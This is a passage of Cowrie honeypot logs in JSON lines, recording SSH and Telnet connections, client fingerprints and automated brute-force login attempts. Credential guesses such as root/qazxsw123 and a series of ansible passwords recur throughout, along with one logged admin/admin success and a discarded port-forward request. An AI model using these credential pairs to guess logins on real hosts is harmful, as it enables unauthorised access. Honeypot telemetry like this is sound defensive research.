dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:47.863966Z","src_ip":"198.235.24.90","session":"f4bd263fa53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:54.873775Z","src_ip":"198.235.24.90","session":"f4bd263fa53c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46112,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3bfcfa0f818","protocol":"ssh","message":"New connection: 159.203.92.129:46112 (159.203.135.109:22) [session: f3bfcfa0f818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:55.269929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:55.274833Z","src_ip":"159.203.92.129","session":"f3bfcfa0f818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:55.279698Z","src_ip":"159.203.92.129","session":"f3bfcfa0f818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Ab123456","message":"login attempt [ansible/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:55.291753Z","src_ip":"159.203.92.129","session":"f3bfcfa0f818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:56.299465Z","src_ip":"159.203.92.129","session":"f3bfcfa0f818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.30590462684631,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:56.355602Z","src_ip":"185.26.126.47","session":"718ffddf833c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00089812278748,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:58.015231Z","src_ip":"138.94.179.238","session":"cb2915d579d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00095295906067,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:03.518386Z","src_ip":"138.94.179.238","session":"d48e535545da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.31893277168274,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:04.597288Z","src_ip":"185.26.126.47","session":"571aa7f5e124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":21562,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b7638b043c","protocol":"telnet","message":"New connection: 138.94.179.238:21562 (10.17.0.5:23) [session: a0b7638b043c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:05.186491Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60508,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2ffb36be3e","protocol":"ssh","message":"New connection: 159.203.92.129:60508 (159.203.135.109:22) [session: 2f2ffb36be3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:39.598952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:39.701972Z","src_ip":"159.203.92.129","session":"2f2ffb36be3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:39.705533Z","src_ip":"159.203.92.129","session":"2f2ffb36be3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Abc123","message":"login attempt [ansible/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:39.857255Z","src_ip":"159.203.92.129","session":"2f2ffb36be3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:40.864836Z","src_ip":"159.203.92.129","session":"2f2ffb36be3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19384,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f554868f090","protocol":"ssh","message":"New connection: 87.251.64.176:19384 (10.17.0.5:22) [session: 2f554868f090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:43.215044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:43.218899Z","src_ip":"87.251.64.176","session":"2f554868f090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:43.314917Z","src_ip":"87.251.64.176","session":"2f554868f090","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:43.602526Z","src_ip":"87.251.64.176","session":"2f554868f090","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:43.700294Z","session":"2f554868f090","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:43.798148Z","src_ip":"87.251.64.176","session":"2f554868f090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:43.897778Z","src_ip":"87.251.64.176","session":"2f554868f090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.117.89","src_port":57605,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b590f03582e","protocol":"telnet","message":"New connection: 180.235.117.89:57605 (159.203.135.109:23) [session: 2b590f03582e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:48:56.455419Z"}
{"eventid":"cowrie.session.closed","duration":14.082251787185669,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:49:10.537549Z","src_ip":"180.235.117.89","session":"2b590f03582e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59906,"dst_ip":"159.203.135.109","dst_port":22,"session":"724b1ab5acc5","protocol":"ssh","message":"New connection: 159.203.92.129:59906 (159.203.135.109:22) [session: 724b1ab5acc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:49:21.772888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:49:21.777077Z","src_ip":"159.203.92.129","session":"724b1ab5acc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:49:21.781350Z","src_ip":"159.203.92.129","session":"724b1ab5acc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Abc12345","message":"login attempt [ansible/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:49:21.796749Z","src_ip":"159.203.92.129","session":"724b1ab5acc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:49:22.802872Z","src_ip":"159.203.92.129","session":"724b1ab5acc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":27928,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b3fb6edafe","protocol":"ssh","message":"New connection: 141.11.21.145:27928 (10.17.0.5:22) [session: f6b3fb6edafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:49:59.974453Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:00.055259Z","src_ip":"141.11.21.145","session":"f6b3fb6edafe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":27930,"dst_ip":"10.17.0.5","dst_port":22,"session":"a99cd5c65864","protocol":"ssh","message":"New connection: 141.11.21.145:27930 (10.17.0.5:22) [session: a99cd5c65864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:00.140807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:00.145328Z","src_ip":"141.11.21.145","session":"a99cd5c65864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:00.229186Z","src_ip":"141.11.21.145","session":"a99cd5c65864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:00.491171Z","src_ip":"141.11.21.145","session":"a99cd5c65864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:01.578055Z","src_ip":"141.11.21.145","session":"a99cd5c65864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157356262207,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:05.187923Z","src_ip":"138.94.179.238","session":"a0b7638b043c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f398c60ffd4","protocol":"ssh","message":"New connection: 159.203.92.129:60600 (159.203.135.109:22) [session: 6f398c60ffd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:06.600877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:06.636065Z","src_ip":"159.203.92.129","session":"6f398c60ffd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:06.641106Z","src_ip":"159.203.92.129","session":"6f398c60ffd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Abc@123","message":"login attempt [ansible/Abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:06.830590Z","src_ip":"159.203.92.129","session":"6f398c60ffd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:07.839456Z","src_ip":"159.203.92.129","session":"6f398c60ffd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39628,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4c28d7ae7a","protocol":"ssh","message":"New connection: 159.203.92.129:39628 (159.203.135.109:22) [session: 3b4c28d7ae7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:48.710136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:48.714621Z","src_ip":"159.203.92.129","session":"3b4c28d7ae7a","protocol":"ssh"}
